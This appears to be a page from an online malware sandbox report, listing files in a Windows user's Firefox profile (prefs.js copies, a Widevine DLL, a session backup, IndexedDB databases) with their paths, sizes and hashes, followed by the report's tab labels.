SHA512 6f9083152c02f93a900cb69b1ce879e0c0d69453f1046280ca549a0301ae7925facdda6329f7ccb61726addee78ba2fffc5ba3491a185f139f3155716caf0a8d
TLSH
T101B092446843B0B1187682471D795AA55A79B782E022486D6E6F27E10784727476D4E4
MD5 SHA1 SHA512 TLSH

Submit Download

manifest.json

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\cgsfbx1g.default-release\gmp-widevinecdm\4.10.2934.0\manifest.json
Size 1001B
SHA256 25ac9b79df29fa869b4c9f4ca3bdbc3a85f6122f5a8efab5a1216d577099becc
MD5 580786a5ec9eb650dde3e0e75db8588a
SHA1 8c0835d1a6bf82e753b624440e9674d649696ead
SHA512 c8d41e16b291157e2afbf978469eae4c017d1ce3b941b93ae710e2bbaaf4c3e601db45e579d22b957b7a1ec48cba788015725a2fa23cf02f2d66010ef4fdd0a0
TLSH
T100115B10DD388D9326E4BAA21CC6580957661DAF4CC23F98379E161D8F1C8AFA37366C
MD5 SHA1 SHA512 TLSH

Submit Download

widevinecdm.dll

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\cgsfbx1g.default-release\gmp-widevinecdm\4.10.2934.0\widevinecdm.dll
Size 18.9MB
SHA256 875a76af5b19622842c9b37fe77dce10ee83f27adbdcfcde9c814d4e1226d023
MD5 15fa9ea03f6f451d587b1dabb2f7b036
SHA1 a1a5cf60b693f732931f8e7512627d2840023dee
SHA512 8d5e5aa0a116bb09dd492b6b59bcd9458ded013e6b52a31dd36e81313c3f2d9ea01d5bf3ec4b0f2593633a5313705af773a4e7245d6cfd96f231332db26d75ae
SSDEEP 393216:uD9xOHbGD+l8Vm148M/i5hE4/junbj0OjLFI/USFUzUqr1d4Pg4C5/:tGD+l8VmuZ/S24/junfSFwUqYg4A
TLSH
T13717E149E36310E8E80E89F446AADA72D4743C4E03369BEF17D4BB3559727C06A79F06
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

prefs-1.js

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\cgsfbx1g.default-release\prefs-1.js
Size 11KB
SHA256 f8ce3afeef5f979780af42f43b0090f19af2ab6f398fd65e869d8aec78ab5e05
MD5 e5dc6204b7a9b4ce39c8482f3d3c74ae
SHA1 3f9d454515df83876b030cb2274101eed9f4f772
SHA512 f827ea3490fef10702129462acebc363c9fa6a817855952972ea096d1c9cc8d04d3712c9a80106252fe7892527df970a3b7aaa3193f6642b777ea009e17224e9
SSDEEP 192:UDCRvfs0I7ZSSFLRMuaYzMi2WwmBw883M32jbJY:B0XRM2/2WzwM2W
TLSH
T18B42BE7890409A3F74B7367D6C2549B059A2413B7BBFBCD305F8888145ECF2481EAAE7
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

prefs-1.js

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\cgsfbx1g.default-release\prefs-1.js
Size 7KB
SHA256 f183d2084794f9bd1c50b76535c7cce398140a490712780216edd07653e58465
MD5 a3c483b7ad3e58f3397407e6c383d365
SHA1 3cd157bfeb3a490a21ff95d564e67c393b8f5443
SHA512 54f728ee310ed0b2dffa90b231b9fccf97f1a5297dc318fa4779d06a83845257fc5639fe1865408ce93fa8f0b8121f54e33b9452c28e68f51ea2bdab35d49816
SSDEEP 96:xHiJTUAPqGqcUfs0I7ObzS7SSlrdv9jZnHWRM8A+riDYzMNq7Bw88vY8L4cnHVuZ:UDCRvfs0I7xSSKRMuaYzMNq7Bw88vY
TLSH
T1C2F10E78A404CB7FB4B6766CAC6889705AB2013BB7BF6CC710B95885055CF3481F96E7
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

prefs-1.js

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\cgsfbx1g.default-release\prefs-1.js
Size 6KB
SHA256 339df996beb4fd43cc47f71f30aed6769ebae9a58d35bfe3fc0236e7c232c7c4
MD5 7b43d82da2828ac78c860919b904e19a
SHA1 859a51a893cc67a3079fd2138bc278f0c9391ad8
SHA512 66bd4e9a0d5dc1c61a71f538002a669c407660485abc2ddcb9a70554445e10e63bb9b991514016a2434c1a5c2bde83176334cb6fbb2dd254e15e1699a4843da4
SSDEEP 96:xHiUTUAPqGqcUfCI71zS7SSlrdv9jZnHHCriDYzMgBw88H8L4cnHVjZ:UwCRvfCI7uSSDCaYzMgBw88qL
TLSH
T1B9E11E7894088F7FB4B6776C6C6888316AB2413BBBBF68D710B95484055CF3842F96E7
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

prefs-1.js

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\cgsfbx1g.default-release\prefs-1.js
Size 6KB
SHA256 ceec2a61f0aa31b58b498e99ce42cf22a01307d88fe74b8776442f6749853515
MD5 0dc60a65d661ed1b424fa34dbdf46bce
SHA1 75ed7f5552b8ed9da4c634d5667cdc65c066a876
SHA512 d601d46eb7a3fc75161b979dea95e52d41370ccc9210e7041767869a905c084c79e24056e88e761ca4d39f5fc87863fde87918434923d6f57acceaae7e248005
SSDEEP 96:xHiUTUAPqGqcUfCI7ObzS7SSlrdv9jZnHHCriDYzMgBw88H8L4cnHVjZ:UwCRvfCI7xSSDCaYzMgBw88qL
TLSH
T1BBE11F7895088B7F74B6776C6C6888316AB2413BBBBF68C710B954C4055CF3842F96E7
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

prefs.js

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\cgsfbx1g.default-release\prefs.js
Size 6KB
SHA256 4dc07e16d1e5a8948027a3f6af5e5feb78a51cff08998085677b4cc74ad80493
MD5 4012f0ab15b74b3ce8935c2fcda5cd27
SHA1 cca72569652c9a70cb318e46efbcbd6ef4f68800
SHA512 81285ab9b3d9bb267e467d9ec0c66317bafe13c08cdf89ff12d3a8eddd62f0d8b81e576b816bc8cc952d6849789197ce136c9e47f6055c1a0a44c4b39758d5d7
SSDEEP 96:xHiUTUAPqGqcUfCKjKnjs1zS6A7SSlrdv9jHnHHCriDYzMgBw88H8L4cnHVjZ:UwCRvfCNgzA7SSlCaYzMgBw88qL
TLSH
T100E11E7895088F7F74B6776C6C6888316AB2413BB7BF68C710B95884054CF3842F96EB
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

recovery.baklz4

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\cgsfbx1g.default-release\sessionstore-backups\recovery.baklz4
Size 4KB
SHA256 0f9322c9f4ed0b5bf05e0913bf31b2cbd20ae90c46d18d856498338f27e4ba89
MD5 048953631a160fd4b584552c869abce1
SHA1 b421dbe27850cb3e1d6ad50ba277e2a4bbea639e
SHA512 31d73b60f4c32939aafe080909e5aab35adcf797016c82fb8a18ef5dc7e9837a6e95544f45ee657965a34669fd199301314498339f94d4cf74e9f772dc88cafb
SSDEEP 96:3ZfR9C6XawTDyqL2TNPG4dLGyr8C/qAqDA3:xR93qwT2FFG4tNwcf
TLSH
T1E3917E6EB4682CD0E1396275D0C83B7191A33859C0F128A0CE256A271EFEB56B70B96D
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

3870112724rsegmnoittet-es.sqlite

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\cgsfbx1g.default-release\storage\permanent\chrome\idb\3870112724rsegmnoittet-es.sqlite
Size 6.0MB
SHA256 7c88e8841f9ba7a0d774d3288922b08c2422a662aa5158f2cf498b991edd57b1
MD5 9cac54a40b702fb4f96881ea670c998f
SHA1 4d3cdc7fd4951c6b56f9518979159f4c9a2497b3
SHA512 2422a1459b938f427936a8daeef59e12cb5eb97b606699f888f7f3f5f6a65f1716ee2c930491dbc3729bb596d0a95fea6ea575ab439bf53295eac8312832bcb4
SSDEEP 49152:amkKRVaAIoW8zN6wlBk17lxVgZbTIXkKTwFdMHum3bcAuYzLcGSyctwR9dTLQk9J:rFwJLF9Ab/DKiiO
TLSH
T16F565CE420E2D252F38544B3719A53FB10EFC01C60768E44579896FAA9B8CEB4D877BD
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

3870112724rsegmnoittet-es.sqlite

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\cgsfbx1g.default-release\storage\permanent\chrome\idb\3870112724rsegmnoittet-es.sqlite
Size 6.0MB
SHA256 80b318ce88b12451b89b7a9b58ca5a8429f62b8b4ae82a39ef61144a592ef72c
MD5 c2e18ba3a9a5ed745457556cf2d70726
SHA1 782378302561abd8ecd6612f7d722da992a52411
SHA512 fb1ff985884785398ebffd37f21007302b5f507b13f96d72025a13562cf0f21b91547348d0bb764cf32566a75d238ec9e2bba5aea24d723c34201337fbf47e12
SSDEEP 49152:VmkKRVaAIoW8zN6wlBk17lxVgZbTIXkKTwFdMHum3bcAuYzLcGSyctwR9dTLQk9J:MFwJLF9Ab/DKiiO
TLSH
T168565CE420E2D252F38544B3719A53FB10EFC01C60768E44579896FAA9B8CEB4D877BD
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

3870112724rsegmnoittet-es.sqlite

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\cgsfbx1g.default-release\storage\permanent\chrome\idb\3870112724rsegmnoittet-es.sqlite
Size 6.0MB
SHA256 5bb4e21911bf13a3616ba370180341554c901516bb810762d69203ffb6e0ab5d
MD5 4a24396627e5dec9fcaf586f5c7eb4e9
SHA1 d208fbcf52a8f0c401d32e40f6d05cfaff8e3750
SHA512 5073a48ee4be908c654a338694ca75921a8812a9fce481cdd35b35c3adb63eade053227ad7438d3b4361d122ec7bec2a99e767c70f16bd07de74d527f8a267cd
SSDEEP 49152:VmkKRVaAIoW8zN6wlBk17lxVgZbTIXkKTwFdMHum3bcAuYzLcGSyqtwR96TLQk9L:M7wWLF9Ab/DeimI
TLSH
T10C565CE420E2D252F38544B3719A53FB10EFC01C60768E44579896FAA9B8CEB4D877BD
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Resubmissions

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads